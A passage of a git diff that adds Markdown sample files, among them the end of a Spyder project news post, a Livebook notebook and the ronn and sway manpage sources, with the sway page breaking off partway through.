+[QtPy](https://github.com/spyder-ide/qtpy), another affiliated project which Spyder uses as its Qt GUI abstraction layer, has had three releases including one major, with new Qt classes, early support for ``PySide2``, better performance, and a number of bugfixes.
+
+![Spyder-unittest dialog, displaying test results](spyder_unittest.png)
+
+Other projects under the Spyder umbrella are also making major progress. The [pywinpty](https://github.com/spyder-ide/pywinpty) pseudo-terminal library has seen six official releases (three major), with a new rich high level interface to create and track processes, new process wrappers, Python 2.7 support, major performance, stability and security improvements, and many bug fixes.
+Most importantly, we are proud to report that since this January Jupyter Notebook (in 5.3.0) and JupyterLab have both adopted it to create and manage system terminals on Windows!
+The [qtsass](https://github.com/spyder-ide/qtsass) SASS to Qt stylesheet compiler has a new maintainer, with development including new dev infrastructure, refactoring work, a PyPI release, and new features, with more on the way.
+Finally, our [loghub](https://github.com/spyder-ide/loghub) automatic changelog generator has seen significant internal and external developer interest, as well as three releases, bug fixes, additional examples, and the ability to group issues and PRs together if desired.
+The common thread between all five of these projects has been a substantially increased development pace in recent weeks, so expect to see even more good news soon if that trend continues.
+
+
+## Beyond the Code
+
+The team has made progress on a number of fronts outside core program development.
+We've been joined by several new team members from around the world, who have each contributed new skillsets to the project.
+Further, we've created, developed and deployed a brand new, modern and responsive website and blog, to provide an accessible, central source for Spyder news and information for both newcomers and old hands alike, as you might have noticed :)
+
+Our new, comprehensive [Troubleshooting Guide and FAQ](https://github.com/spyder-ide/spyder/wiki/Troubleshooting-Guide-and-FAQ) will help users easily resolve common issues without having to wait for a response from us, and we've revised and improved our Github issue tracking workflow to do an even better job at quickly responding to users' needs.
+On top of that, our Readme, contributing guide, install docs, and developer wiki have all been throughly overhauled to make them more up to date, informative and accessible.
+Finally, we've deepened our relationship with [NumFOCUS](https://www.numfocus.org/), integrating us more closely with the broader PyData community, as well as leading to some exciting news...but that will have to wait for our next post!
+
+Until then, thanks for all you do for us and the community, and happy Spydering!
diff --git a/samples/Markdown/livebook.livemd b/samples/Markdown/livebook.livemd
new file mode 100644
index 0000000000..58f3754f93
--- /dev/null
+++ b/samples/Markdown/livebook.livemd
@@ -0,0 +1,22 @@
+<!-- livebook:{"persist_outputs":true} -->
+
+# Sample Livebook
+
+## Section
+
+### Markdown
+
+Notebooks are .livemd files, a subset of Markdown with support for equations and annotations.
+
+<!-- livebook:{"livebook_object":"cell_input","name":"plus","type":"number","value":"1"} -->
+
+```elixir
+{plus, _} = IO.gets("plus") |> Integer.parse()
+
+[1, 2, 3]
+|> Enum.map(&(&1 + plus))
+```
+
+```output
+[2, 3, 4]
+```
diff --git a/samples/Markdown/minimal.md b/samples/Markdown/minimal.md
new file mode 100644
index 0000000000..0f39e489ac
--- /dev/null
+++ b/samples/Markdown/minimal.md
@@ -0,0 +1 @@
+_This_ is a **Markdown** readme.
\ No newline at end of file
diff --git a/samples/Markdown/ronn-format.7.ronn b/samples/Markdown/ronn-format.7.ronn
new file mode 100644
index 0000000000..133aeaecab
--- /dev/null
+++ b/samples/Markdown/ronn-format.7.ronn
@@ -0,0 +1,157 @@
+ronn-format(7) -- manual authoring format based on Markdown
+===========================================================
+
+## SYNOPSIS
+
+    name(1) -- short, single-sentence description
+    =============================================
+
+    ## SYNOPSIS
+
+    `name` [<optional>...] <flags>
+
+    ## DESCRIPTION
+
+    A normal paragraph. This can span multiple lines and is terminated with two
+    or more line endings -- just like Markdown.
+
+    Inline markup for `code`, `user input`, and **strong** are displayed
+    boldface; <variable>, _emphasis_, *emphasis*, are displayed in italics
+    (HTML) or underline (roff).
+
+    Manual references like sh(1), markdown(7), roff(7), etc. are hyperlinked in
+    HTML output.
+
+    Link to sections like [STANDARDS][], [SEE ALSO][], or [WITH A DIFFERENT LINK
+    TEXT][#SEE-ALSO].
+
+    Definition lists:
+
+      * `-a`, `--argument`=[<value>]:
+        One or more paragraphs describing the argument.
+
+      * You can put whatever you *want* here, really:
+        Nesting and paragraph spacing are respected.
+
+    Frequently used sections:
+
+    ## OPTIONS
+    ## SYNTAX
+    ## ENVIRONMENT
+    ## RETURN VALUES
+    ## STANDARDS
+    ## SECURITY CONSIDERATIONS
+    ## BUGS
+    ## HISTORY
+    ## AUTHOR
+    ## COPYRIGHT
+    ## SEE ALSO
+
+## DESCRIPTION
+
+The ronn(1) command converts text in a simple markup to UNIX manual pages. The
+syntax includes all Markdown formatting features, plus conventions for
+expressing the structure and various notations present in standard UNIX
+manpages.
+
+Not all roff(7) typesetting features can be expressed using ronn syntax.
+
+## MANPAGE TITLE
+
+Manpages have a <name>, <section>, and a one-line <description>. Files must
+start with a level one heading defining these attributes:
+
+    ls(1) -- list directory contents
+    ================================
+
+Indicates that the manpage is named `ls` in manual section `1` ("user
+commands").
+
+## SECTION HEADINGS
+
+Man section headings are expressed with markdown level two headings. There
+are two syntaxes for level two headings.
+
+Hash prefix syntax:
+
+    ## HEADING TEXT
+
+Dash underline syntax:
+
+    HEADING TEXT
+    ------------
+
+Section headings should be all uppercase and may not contain inline markup.
+
+## INLINE MARKUP
+
+Manpages have a limited set of text formatting capabilities. There's basically
+<b>boldface</b> and <i>italics</i> (often displayed using <u>underline</u>).
+Ronn uses the following bits of markdown(7) to accomplish this:
+
+  * <code>\`backticks\`</code> (markdown compatible):
+    Code, flags, commands, and noun-like things; typically displayed in in
+    <b>boldface</b>. All text included within `backticks` is displayed
+    literally; other inline markup is not processed. HTML output:
+    `<code>`.
+
+  * `**double-stars**` (markdown compatible):
+    Also displayed in boldface. Unlike backticks, inline markup is processed.
+    HTML output: `<strong>`.
+
+  * `<anglequotes>` (non-compatible markdown extension):
+    User-specified arguments, variables, or user input. Typically displayed with
+    <u>underline</u> in roff output. HTML output: `<var/>`.
+
+  * `_`_underbars_`_` (markdown compatible):
+    Emphasis. May be used for literal option values. Typically displayed with
+    <u>underline</u> in roff output. HTML output: `<em>`.
+
+Here is grep(1)'s DESCRIPTION section represented in `ronn`:
+
+    `Grep` searches the named input <FILE> (or standard input if
+    no files are named, or the file name `-` is given) for lines
+    containing a match to the given <PATTERN>. By default, `grep`
+    prints the matching lines.
+
+## DEFINITION LISTS
+
+The definition list syntax is compatible with markdown's unordered list syntax
+but requires that the first line of each list item be terminated with a colon
+"`:`" character. The contents of the first line is the <term>; subsequent lines
+may be comprised of multiple paragraphs, code blocks, standard lists, and nested
+definition lists.
+
+An example definition list, taken from BSD test(1)'s *DESCRIPTION* section:
+
+     The following primaries are used to construct expressions:
+
+       * `-b` <file>:
+         True if <file> exists and is a block special file.
+
+       * `-c` <file>:
+         True if _file_ exists and is a character special file.
+
+       * `-d` <file>:
+         True if file exists and is a directory.
+
+## LINKS
+
+All markdown(7) linking features are supported.
+
+Markdown reference-style links can be used to link to specific sections by name:
+
+    ## SECTION 1
+
+    See the following section.
+
+    ## SECTION 2
+
+    See [SECTION 1][] or [to put it another way][SECTION 1].
+
+The anchor name would be `#SECTION-1` and `#SECTION-2`. All non-word characters
+are removed and spaces are replaced by dashes.
+
+## SEE ALSO
+
+ronn(1), markdown(7), roff(7)
diff --git a/samples/Markdown/ronn.1.ronn b/samples/Markdown/ronn.1.ronn
new file mode 100644
index 0000000000..f579a58db0
--- /dev/null
+++ b/samples/Markdown/ronn.1.ronn
@@ -0,0 +1,305 @@
+ronn(1) -- convert markdown files to manpages
+=============================================
+
+## SYNOPSIS
+
+`ronn` [<format>...] <file>...<br>
+`ronn` `-m`|`--man` <file>...<br>
+`ronn` `-S`|`--server` <file>...<br>
+`ronn` `--pipe` <file><br>
+`ronn` &lt; <file>
+
+## DESCRIPTION
+
+**Ronn** converts textfiles to standard roff-formatted UNIX manpages or HTML.
+ronn-format(7) is based on markdown(7) but includes additional rules and syntax
+geared toward authoring manuals.
+
+In its default mode, `ronn` converts one or more input <file>s to HTML or roff
+output files. The `--roff`, `--html`, and `--fragment` options dictate which
+output files are generated. Multiple format arguments may be specified to
+generate multiple output files. Output files are named after and written to the
+same directory as input <file>s.
+
+The `--server` and `--man` options change the output behavior from file
+generation to serving dynamically generated HTML manpages or viewing <file> as
+with man(1).
+
+With no <file> arguments, `ronn` acts as simple filter. Ronn source text is read
+from standard input and roff output is written to standard output. Use the
+`--html`, `--roff`, and/or `--fragment` options to select the output format.
+
+## FILES
+
+The `ronn` command expects input to be valid ronn-format(7) text.  Source files
+are typically named <name>.<section>.ronn (e.g., `example.1.ronn`).  The <name>
+and <section> should match the name and section defined in the <file>'s heading.
+
+When building roff or HTML output files, destination filenames are determined by
+taking the basename of the input <file> and adding the appropriate file
+extension (or removing the file extension in the case of roff output).  For
+example, executing `ronn example.1.ronn` generates `example.1` with roff output
+and `example.1.html` with HTML output.
+
+## OPTIONS
+
+These options control whether output is written to file(s), standard output, or
+directly to a man pager.
+
+  * `-m`, `--man`:
+    Don't generate files, display <file>s as if man(1) were invoked on the roff
+    output file. This simulates default man behavior by piping the roff output
+    through groff(1) and the paging program specified by the `MANPAGER`
+    environment variable.
+
+  * `-S`, `--server`:
+    Don't generate files, start an HTTP server at <http://localhost:1207/> and
+    serve dynamically generated HTML for the set of input <file>s. A file named
+    *example.2.ronn* is served as */example.2.html*. There's also an index page
+    at the root with links to each <file>.
+
+    The server respects the `--style` and document attribute options
+    (`--manual`, `--date`, etc.). These same options can be varied at request
+    time by giving them as query parameters: `?manual=FOO&style=dark,toc`
+
+    *NOTE: The builtin server is designed to assist in the process of writing
+    and styling manuals. It is in no way recommended as a general purpose web
+    server.*
+
+  * `--pipe`:
+    Don't generate files, write generated output to standard output. This is the
+    default behavior when ronn source text is piped in on standard input and no
+    <file> arguments are provided.
+
+Format options control the files `ronn` generates, or the output format when the
+`--pipe` argument is specified. When no format options are given, both `--roff`
+and `--html` are assumed.
+
+  * `-r`, `--roff`:
+    Generate roff output. This is the default behavior when no <file>s are given
+    and ronn source text is read from standard input.
+
+  * `-5`, `--html`:
+    Generate output in HTML format.
+
+  * `-f`, `--fragment`:
+    Generate output in HTML format but only the document fragment, not the
+    header, title, or footer.
+
+Document attributes displayed in the header and footer areas of generated
+content are specified with these options. (These values may also be set via
+the [ENVIRONMENT][].)
+
+  * `--manual`=<manual>:
+    The name of the manual this man page belongs to; <manual> is prominently
+    displayed top-center in the header area.
+
+  * `--organization`=<name>:
+    The name of the group, organization, or individual responsible for
+    publishing the document; <name> is displayed in the bottom-left footer area.
+
+  * `--date`=<date>:
+    The document's published date; <date> must be formatted `YYYY-MM-DD` and is
+    displayed in the bottom-center footer area. The <file> mtime is used when no
+    <date> is given, or the current time when no <file> is available.
+
+HTML output can be customized through the use of CSS stylesheets:
+
+  * `--style`=<module>[,<module>]...:
+    The list of CSS stylesheets to apply to the document. Multiple <module>
+    arguments may be specified, but must be separated by commas or spaces.
+
+    When <module> is a simple word, search for files named <module>`.css` in all
+    directories listed in the [`RONN_STYLE`](#ENVIRONMENT) environment variable,
+    and then search internal styles.
+
+    When <module> includes a _/_ character, use it as the full path to a
+    stylesheet file.
+
+    Internal styles are _man_ (included by default), _toc_, and _80c_.  See
+    [STYLES][] for descriptions of features added by each module.
+
+Miscellaneous options:
+
+  * `-w`, `--warnings`:
+    Show troff warnings on standard error when performing roff conversion.
+    Warnings are most often the result of a bug in ronn's HTML to roff conversion
+    logic.
+
+  * `-W`:
+    Disable troff warnings. Warnings are disabled by default. This option can be
+    used to revert the effect of a previous `-w` argument.
+
+  * `-v`, `--version`:
+    Show ronn version and exit.
+
+## LINK INDEXES
+
+When generating HTML output, `ronn` hyperlinks manual references (like
+`grep(1)`, `ls(1)`, `markdown(7)`) in source text based on reference name to URL
+mappings defined in an `index.txt` file. Each line of the index file describes a
+single reference link, with whitespace separating the reference's <id> from its
+<location>. Blank lines are allowed; lines beginning with a `#` character are
+ignored:
+
+    # manuals included in this project:
+    whisky(1)    whisky.1.ronn
+    tango(5)     tango.5.ronn
+
+    # external manuals
+    grep(1)      http://man.cx/grep(1)
+    ls(1)        http://man.cx/ls(1)
+
+    # other URLs for use with markdown reference links
+    src          http://github.com/
+
+The <location> is an absolute or relative URL that usually points at an HTML
+version of manpage. It's possible to define references for things that aren't
+manpages.
+
+All manuals in an individual directory share the references defined in that
+directory's `index.txt` file. Index references may be used explicitly in
+Markdown reference style links using the syntax: `[`<text>`][`<id>`]`, where
+<text> is the link text and <id> is a reference name defined in the index.
+
+## STYLES
+
+The `--style` option selects a list of CSS stylesheets to include in the
+generated HTML. Styles are applied in the order defined, so each can use the
+cascade to override previously defined styles.
+
+### Builtin Stylesheets
+
+These styles are included with the distribution:
+
+   * `man`:
+     Basic manpage styles: typography, definition lists, indentation. This is
+     always included regardless of `--style` argument. It is however possible to
+     replace the default `man` module with a custom one by placing a `man.css`
+     file on the `RONN_STYLE` path.
+
+   * `print`:
+     Basic print stylesheet. The generated `<style>` tag includes a
+     `media=print` attribute.
+
+   * `toc`:
+     Enables the Table of Contents navigation. The TOC markup is included in
+     generated HTML by default but hidden with an inline `display:none` style
+     rule; the `toc` module turns it on and applies basic TOC styles.
+
+   * `dark`:
+     Light text on a dark background.
+
+   * `80c`:
+     Changes the display width to mimic the display of a classic 80 character
+     terminal. The default display width causes lines to wrap at a gratuitous
+     100 characters.
+
+### Custom Stylesheets
+
+Writing custom stylesheets is straight-forward. The following core selectors
+allow targeting all generated elements:
+
+   * `.mp`:
+     The manual page container element. Present on full documents and document
+     fragments.
+
+   * `body#manpage`:
+     Signifies that the page was fully-generated by Ronn and contains a single
+     manual page (`.mp` element).
+
+   * `.man-decor`:
+     The three-item heading and footing elements both have this class.
+
+   * `.man-head`, `.man-foot`:
+     The heading and footing, respectively.
+
+   * `.man-title`:
+     The main `<h1>` element. Hidden by default unless the manual has no <name>
+     or <section> attributes.
+
+See the [builtin style sources][builtin] for examples.
+
+[builtin]: http://github.com/rtomayko/ronn/tree/master/lib/ronn/template
+          "Builtin Stylesheet .css files"
+
+## EXAMPLES
+
+Build roff and HTML output files and view the roff manpage using man(1):
+
+    $ ronn some-great-program.1.ronn
+    roff: some-great-program.1
+    html: some-great-program.1.html
+    $ man ./some-great-program.1
+
+Build only the roff manpage for all `.ronn` files in the current directory:
+
+    $ ronn --roff *.ronn
+    roff: mv.1
+    roff: ls.1
+    roff: cd.1
+    roff: sh.1
+
+Build only the HTML manpage for a few files and apply the `dark` and `toc`
+stylesheets:
+
+    $ ronn --html --style=dark,toc mv.1.ronn ls.1.ronn
+    html: mv.1.html
+    html: ls.1.html
+
+Generate roff output on standard output and write to file:
+
+    $ ronn <hello.1.ronn >hello.1
+
+View a ronn file in the same way as man(1) without building a roff file:
+
+    $ ronn --man hello.1.ronn
+
+Serve HTML manpages at <http://localhost:1207/> for all `*.ronn` files
+under a `man/` directory:
+
+    $ ronn --server man/*.ronn
+    $ open http://localhost:1207/
+
+
+## ENVIRONMENT
+
+  * `RONN_MANUAL`:
+    A default manual name to be displayed in the top-center header area.
+    The `--manual` option takes precedence over this value.
+
+  * `RONN_ORGANIZATION`:
+    The default manual publishing group, organization, or individual to be
+    displayed in the bottom-left footer area. The `--organization` option takes
+    precedence over this value.
+
+  * `RONN_DATE`:
+    The default manual date in `YYYY-MM-DD` format. Displayed in the
+    bottom-center footer area. The `--date` option takes precedence over this
+    value.
+
+  * `RONN_STYLE`:
+    A `PATH`-style list of directories to check for stylesheets given to the
+    `--style` option. Directories are separated by a _:_; blank entries are
+    ignored. Use _._ to include the current working directory.
+
+  * `MANPAGER`:
+    The paging program used for man pages. This is typically set to
+    something like 'less -is'.
+
+  * `PAGER`:
+    Used instead of `MANPAGER` when `MANPAGER` is not defined.
+
+## BUGS
+
+**Ronn** is written in Ruby and depends on hpricot and rdiscount, extension
+libraries that are non-trivial to install on some systems. A more portable
+version of this program would be welcome.
+
+## COPYRIGHT
+
+Ronn is Copyright (C) 2009 Ryan Tomayko <http://tomayko.com/about>
+
+## SEE ALSO
+
+groff(1), man(1), pandoc(1), manpages(5), markdown(7), roff(7), ronn-format(7)
diff --git a/samples/Markdown/sway.5.scd b/samples/Markdown/sway.5.scd
new file mode 100644
index 0000000000..02592b5f1b
--- /dev/null
+++ b/samples/Markdown/sway.5.scd
@@ -0,0 +1,945 @@
+sway(5)
+
+# NAME
+
+sway - configuration file and commands
+
+# DESCRIPTION
+
+A sway configuration file is a list of sway commands that are executed by sway
+on startup.  These commands usually consist of setting your preferences and
+setting key bindings. An example config is likely present in /etc/sway/config
+for you to check out.
+
+Lines in the configuration file might be extended through multiple lines by
+adding a '\\' character at the end of line. e.g.:
+
+```
+bindsym Shift+XF86AudioRaiseVolume exec \\
+	pactl set-sink-volume @DEFAULT_SINK@ -1%
+```
+
+Commands can also be given as a block in the form *command { <subcommands...>
+}*. Anything before the opening *{* will be prepended to the lines inside the
+block. For example:
+
+```
+output eDP-1 {
+	background ~/wallpaper.png fill
+	resolution 1920x1080
+}
+```
+
+is identical to
+
+```
+output eDP-1 background ~/wallpaper.png fill
+output eDP-1 resolution 1920x1080
+```
+
+These commands can be executed in your config file, via *swaymsg*(1), or via
+the bindsym command.
+
+# COMMAND CONVENTIONS
+
+Commands are split into several arguments using spaces. You can enclose
+arguments with quotation marks (*"..."* or *'...'*) to add spaces to a single
+argument. You may also run several commands in order by separating each with
+*,* or *;*. Criteria is retained across commands separated by *,*, but will be
+reset (and allow for new criteria, if desired) for commands separated by a *;*.
+
+Throughout the documentation, *|* is used to distinguish between arguments for
+which you may only select one. *[...]* is used for optional arguments, and
+*<...>* for arguments where you are expected to supply some value.
+
+# COMMANDS
+
+This section only lists general commands. For input and output commands, refer
+to *sway-input*(5) and *sway-output*(5).
+
+The following commands may only be used in the configuration file.
+
+*bar* [<bar-id>] <bar-subcommands...>
+	For details on bar subcommands, see *sway-bar*(5).
+
+*default_orientation* horizontal|vertical|auto
+	Sets the default container layout for tiled containers.
+
+*include* <path>
+	Includes another file from _path_. _path_ can be either a full path or a
+	path relative to the parent config, and expands shell syntax (see
+	*wordexp*(3) for details). The same include file can only be included once;
+	subsequent attempts will be ignored.
+
+*swaybg_command* <command>
+	Executes custom background _command_. Default is _swaybg_. Refer to
+	*sway-output*(5) for more information.
+
+	It can be disabled by setting the command to a single dash:
+	_swaybg\_command -_
+
+*swaynag_command* <command>
+	Executes custom command for _swaynag_. Default is _swaynag_. Additional
+	arguments may be appended to the end. This should only be used to either
+	direct sway to call swaynag from a custom path or to provide additional
+	arguments. This should be placed at the top of the config for the best
+	results.
+
+	It can be disabled by setting the command to a single dash:
+	_swaynag\_command -_
+
+*workspace_layout* default|stacking|tabbed
+	Specifies the initial layout for new containers in an empty workspace.
+
+*xwayland* enable|disable|force
+	Enables or disables Xwayland support, which allows X11 applications to be
+	used. _enable_ will lazily load Xwayland so Xwayland will not be launched
+	until the first client attempts to connect. In some cases, such as slower
+	machines, it may be desirable to have Xwayland started immediately by
+	using _force_ instead of _enable_.
+
+The following commands cannot be used directly in the configuration file.
+They are expected to be used with *bindsym* or at runtime through *swaymsg*(1).
+
+*border* none|normal|csd|pixel [<n>]
+	Set border style for focused window. _normal_ includes a border of
+	thickness _n_ and a title bar. _pixel_ is a border without title bar _n_
+	pixels thick. Default is _normal_ with border thickness 2. _csd_ is short
+	for client-side-decorations, which allows the client to draw its own
+	decorations.
+
+*border* toggle
+	Cycles through the available border styles.
+
+*exit*
+	Exit sway and end your Wayland session.
+
+*floating* enable|disable|toggle
+	Make focused view floating, non-floating, or the opposite of what it is now.
+
+<criteria> *focus*
+	Moves focus to the container that matches the specified criteria.
+
+*focus* up|right|down|left
+	Moves focus to the next container in the specified direction.
+
+*focus* prev|next [sibling]
+	Moves focus to the previous or next container in the current layout. By default,
+	the last active child of the newly focused container will be focused. The _sibling_
+	option indicates not to immediately focus a child of the container.
+
+*focus* child
+	Moves focus to the last-focused child of the focused container.
+
+*focus* parent
+	Moves focus to the parent of the focused container.
+
+*focus* output up|right|down|left
+	Moves focus to the next output in the specified direction.
+
+*focus* output <name>
+	Moves focus to the named output.
+
+*focus* tiling
+	Sets focus to the last focused tiling container.
+
+*focus* floating
+	Sets focus to the last focused floating container.
+
+*focus* mode_toggle
+	Moves focus between the floating and tiled layers.
+
+*fullscreen* [enable|disable|toggle] [global]
+	Makes focused view fullscreen, non-fullscreen, or the opposite of what it
+	is now. If no argument is given, it does the same as _toggle_. If _global_
+	is specified, the view will be fullscreen across all outputs.
+
+*gaps* inner|outer|horizontal|vertical|top|right|bottom|left all|current
+set|plus|minus <amount>
+	Changes the _inner_ or _outer_ gaps for either _all_ workspaces or the
+	_current_ workspace. _outer_ gaps can be altered per side with _top_,
+	_right_, _bottom_, and _left_ or per direction with _horizontal_ and
+	_vertical_.
+
+*inhibit_idle* focus|fullscreen|open|none|visible
+	Set/unset an idle inhibitor for the view. _focus_ will inhibit idle when
+	the view is focused by any seat. _fullscreen_ will inhibit idle when the
+	view is fullscreen (or a descendant of a fullscreen container) and is
+	visible. _open_ will inhibit idle until the view is closed (or the
+	inhibitor is unset/changed). _visible_ will inhibit idle when the view is
+	visible on any output. _none_ will remove any existing idle inhibitor for
+	the view.
+
+	This can also be used with criteria to set an idle inhibitor for any
+	existing view or with _for_window_ to set idle inhibitors for future views.
+
+*layout* default|splith|splitv|stacking|tabbed
+	Sets the layout mode of the focused container.
+
+*layout* toggle [split|all]
+	Cycles the layout mode of the focused container though a preset list of
+	layouts. If no argument is given, then it cycles through stacking, tabbed
+	and the last split layout. If _split_ is given, then it cycles through
+	splith and splitv. If _all_ is given, then it cycles through every layout.
+
+*layout* toggle [split|tabbed|stacking|splitv|splith] [split|tabbed|stacking|splitv|splith]...
+	Cycles the layout mode of the focused container through a list of layouts.
+
+*max_render_time* off|<msec>
+	Controls when the relevant application is told to render this window, as a
+	positive number of milliseconds before the next time sway composites the
+	output. A smaller number leads to fresher rendered frames being composited
+	by sway and lower perceived input latency, but if set too low, the
+	application may not finish rendering before sway composites the output,
+	leading to delayed frames.
+
+	When set to off, the relevant application is told to render this window
+	immediately after display refresh. How much time is left for rendering
+	before sway composites the output at that point depends on the output
+	*max_render_time* setting.
+
+	To set this up for optimal latency:
+	. Set up *output max_render_time* (see *sway-output*(5)).
+	. Put the target application in _full-screen_ and have it continuously
+	  render something.
+	. Start by setting *max_render_time 1*. If the application drops
+	  frames, increment by *1*.
+
+	This setting only has an effect if a per-output *max_render_time* is in
+	effect on the output the window is currently on. See *sway-output*(5) for
+	further details.
+
+*move* left|right|up|down [<px> px]
+	Moves the focused container in the direction specified. If the container,
+	the optional _px_ argument specifies how many pixels to move the container.
+	If unspecified, the default is 10 pixels. Pixels are ignored when moving
+	tiled containers.
+
+*move* [absolute] position <pos_x> [px|ppt] <pos_y> [px|ptt]
+	Moves the focused container to the specified position in the workspace.
+	The position can be specified in pixels or percentage points, omitting
+	the unit defaults to pixels. If	_absolute_ is used, the position is
+	relative to all outputs. _absolute_ can not be used with percentage points.
+
+*move* [absolute] position center
+	Moves the focused container to be centered on the workspace. If _absolute_
+	is used, it is moved to the center of all outputs.
+
+*move* position cursor|mouse|pointer
+	Moves the focused container to be centered on the cursor.
+
+*move* [container|window] [to] mark <mark>
+	Moves the focused container to the specified mark.
+
+*move* [--no-auto-back-and-forth] [container|window] [to] workspace [number] <name>
+	Moves the focused container to the specified workspace. The string _number_
+	is optional and is used to match a workspace with the same number, even if
+	it has a different name.
+
+*move* [container|window] [to] workspace prev|next|current
+	Moves the focused container to the previous, next or current workspace on
+	this output, or if no workspaces remain, the previous or next output.
+
+*move* [container|window] [to] workspace prev_on_output|next_on_output
+	Moves the focused container to the previous or next workspace on this
+	output, wrapping around if already at the first or last workspace.
+
+*move* [container|window] [to] workspace back_and_forth
+	Moves the focused container to previously focused workspace.
+
+*move* [container|window] [to] output <name-or-id>|current
+	Moves the focused container to the specified output.
+
+*move* [container|window] [to] output up|right|down|left
+	Moves the focused container to next output in the specified
+	direction.
+
+*move* [container|window] [to] scratchpad
+	Moves the focused container to the scratchpad.
+
+*move* workspace [to] output <name-or-id>|current
+	Moves the focused workspace to the specified output.
+
+*move* workspace to [output] <name-or-id>|current
+	Moves the focused workspace to the specified output.
+
+*move* workspace [to] output up|right|down|left
+	Moves the focused workspace to next output in the specified direction.
+
+*move* workspace to [output] up|right|down|left
+	Moves the focused workspace to next output in the specified direction.
+
+*nop* <comment>
+	A no operation command that can be used to override default behaviour. The
+	optional comment argument is ignored, but logged for debugging purposes.
+
+*reload*
+	Reloads the sway config file and applies any changes. The config file is
+	located at path specified by the command line arguments when started,
+	otherwise according to the priority stated in *sway*(1).
+
+*rename* workspace [<old_name>] to <new_name>
+	Rename either <old_name> or the focused workspace to the <new_name>
+
+*resize* shrink|grow width|height [<amount> [px|ppt]]
+	Resizes the currently focused container by _amount_, specified in pixels or
+	percentage points. If the units are omitted, floating containers are resized
+	in px and tiled containers by ppt. _amount_ will default to 10 if omitted.
+
+*resize* set height <height> [px|ppt]
+	Sets the height of the container to _height_, specified in pixels or
+	percentage points. If the units are omitted, floating containers are
+	resized in px and tiled containers by ppt. If _height_ is 0, the container
+	will not be resized.
+
+*resize* set [width] <width> [px|ppt]
+	Sets the width of the container to _width_, specified in pixels or
+	percentage points. If the units are omitted, floating containers are
+	resized in px and tiled containers by ppt. If _width_ is 0, the container
+	will not be resized.
+
+*resize* set [width] <width> [px|ppt] [height] <height> [px|ppt]
+	Sets the width and height of the container to _width_ and _height_,
+	specified in pixels or percentage points. If the units are omitted,
+	floating containers are resized in px and tiled containers by ppt. If
+	_width_ or _height_ is 0, the container will not be resized on that axis.
+
+*scratchpad* show
+	Shows a window from the scratchpad. Repeatedly using this command will
+	cycle through the windows in the scratchpad.
+
+*shortcuts_inhibitor* enable|disable
+	Enables or disables the ability of clients to inhibit keyboard
+	shortcuts for a view. This is primarily useful for virtualization and
+	remote desktop software. It affects either the currently focused view
+	or a set of views selected by criteria. Subcommand _disable_
+	additionally deactivates any active inhibitors for the given view(s).
+	Criteria are particularly useful with the *for_window* command to
+	configure a class of views differently from the per-seat defaults
+	established by the *seat* subcommand of the same name. See
+	*sway-input*(5) for more ways to affect inhibitors.
+
+*split* vertical|v|horizontal|h|toggle|t
+	Splits the current container, vertically or horizontally. When _toggle_ is
+	specified, the current container is split opposite to the parent
+	container's layout.
+
+*splith*
+	Equivalent to *split horizontal*
+
+*splitv*
+	Equivalent to *split vertical*
+
+*splitt*
+	Equivalent to *split toggle*
+
+*sticky* enable|disable|toggle
+	"Sticks" a floating window to the current output so that it shows up on all
+	workspaces.
+
+*swap* container with id|con_id|mark <arg>
+	Swaps the position, geometry, and fullscreen status of two containers. The
+	first container can be selected either by criteria or focus. The second
+	container can be selected by _id_, _con_id_, or _mark_. _id_ can only be
+	used with xwayland views. If the first container has focus, it will retain
+	focus unless it is moved to a different workspace or the second container
+	becomes fullscreen on the same workspace as the first container. In either
+	of those cases, the second container will gain focus.
+
+*title_format* <format>
+	Sets the format of window titles. The following placeholders may be used:
+
+		%title - The title supplied by the window ++
+		%app_id - The wayland app ID (applicable to wayland windows only) ++
+		%class - The X11 classname (applicable to xwayland windows only) ++
+		%instance - The X11 instance (applicable to xwayland windows only) ++
+		%shell - The protocol the window is using (typically xwayland or
+			xdg_shell)
+
+	This command is typically used with *for_window* criteria. For example:
+
+		for_window [title="."] title_format "<b>%title</b> (%app_id)"
+
+	Note that markup requires pango to be enabled via the *font* command.
+
+	The default format is "%title".
+
+The following commands may be used either in the configuration file or at
+runtime.
+
+*assign* <criteria> [→] [workspace] [number] <workspace>
+	Assigns views matching _criteria_ (see *CRITERIA* for details) to
+	_workspace_. The → (U+2192) is optional and cosmetic. This command is
+	equivalent to:
+
+		for_window <criteria> move container to workspace <workspace>
+
+*assign* <criteria> [→] output left|right|up|down|<name>
+	Assigns views matching _criteria_ (see *CRITERIA* for details) to the
+	specified output. The → (U+2192) is optional and cosmetic. This command is
+	equivalent to:
+
+		for_window <criteria> move container to output <output>
+
+*bindsym* [--whole-window] [--border] [--exclude-titlebar] [--release] [--locked] \
+[--to-code] [--input-device=<device>] [--no-warn] [--no-repeat] [Group<1-4>+]<key combo> \
+<command>
+	Binds _key combo_ to execute the sway command _command_ when pressed. You
+	may use XKB key names here (*wev*(1) is a good tool for discovering these).
+	With the flag _--release_, the command is executed when the key combo is
+	released. If _input-device_ is given, the binding will only be executed for
+	that input device and will be executed instead of any binding that is
+	generic to all devices. If a group number is given, then the binding will
+	only be available for that group. By default, if you overwrite a binding,
+	swaynag will give you a warning. To silence this, use the _--no-warn_ flag.
+
+	Unless the flag _--locked_ is set, the command will not be run when a
+	screen locking program is active. If there is a matching binding with
+	and without _--locked_, the one with will be preferred when locked and the
+	one without will be preferred when unlocked. If there are matching bindings
+	and one has both _--input-device_ and _--locked_ and the other has neither,
+	the former will be preferred even when unlocked.
+
+	Unless the flag _--inhibited_ is set, the command will not be run when
+	a keyboard shortcuts inhibitor is active for the currently focused
+	window. Such inhibitors are usually requested by remote desktop and
+	virtualization software to enable the user to send keyboard shortcuts
+	to the remote or virtual session. The _--inhibited_ flag allows to
+	define bindings which will be exempt from pass-through to such
+	software. The same preference logic as for _--locked_ applies.
+
+	Unless the flag _--no-repeat_ is set, the command will be run
+	repeatedly when the key is held, according to the repeat
+	settings specified in the input configuration.
+
+	Bindings to keysyms are layout-dependent. This can be changed with the
+	_--to-code_ flag. In this case, the keysyms will be translated into the
+	corresponding keycodes in the first configured layout.
+
+	Mouse bindings operate on the container under the cursor instead of the
+	container that has focus. Mouse buttons can either be specified in the form
+	_button[1-9]_ or by using the name of the event code (ex _BTN\_LEFT_ or
+	_BTN\_RIGHT_). For the former option, the buttons will be mapped to their
+	values in X11 (1=left, 2=middle, 3=right, 4=scroll up, 5=scroll down,
+	6=scroll left, 7=scroll right, 8=back, 9=forward). For the latter option,
+	you can find the event names using _libinput debug-events_.
+
